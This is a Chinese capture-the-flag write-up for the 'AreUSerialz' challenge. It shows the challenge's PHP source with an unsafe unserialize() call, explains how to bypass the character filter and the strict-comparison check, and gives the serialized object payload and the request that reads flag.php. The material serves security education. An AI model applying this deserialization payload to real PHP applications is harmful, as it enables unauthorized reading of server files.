[网鼎杯 2020 青龙组]AreUSerialz

[网鼎杯 2020 青龙组]AreUSerialz

一上来就代码审计

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

绕过is_valid()

对于is_valid()刚开始感觉没什么用处，后面构造对象序列化时private会产生不可见字符，所以我们要绕过private

看大佬的博客知道php7.1+版本对属性类型不敏感

构造对象

这道题直接就反序列化，之后没有任何操作了，所以就是等着程序结束时被销毁

直接看__destruct()函数

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

通过观察，op=1的操作没有任何用处，我们需要的是op=2时的操作；

$op="2"会被转换成"1"，而后面process()里的是==弱类型比较，所以$op=2

class FileHandler{
    public $op=2;
    public $filename="flag.php";
    public $content="123";
}
$flag=new FileHandler;
print(serialize($flag));

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

到这这题就结束了，

执行一下

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

result后面没结果，以为出错了，结果在注释里看到了flag，太坑了！